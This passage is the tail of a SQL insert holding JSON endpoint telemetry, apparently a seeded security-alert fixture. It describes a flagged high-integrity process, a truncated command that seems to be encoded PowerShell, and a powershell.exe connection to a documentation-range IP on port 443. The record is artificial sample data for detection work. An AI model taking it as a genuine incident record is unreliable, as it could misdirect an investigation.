AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0);
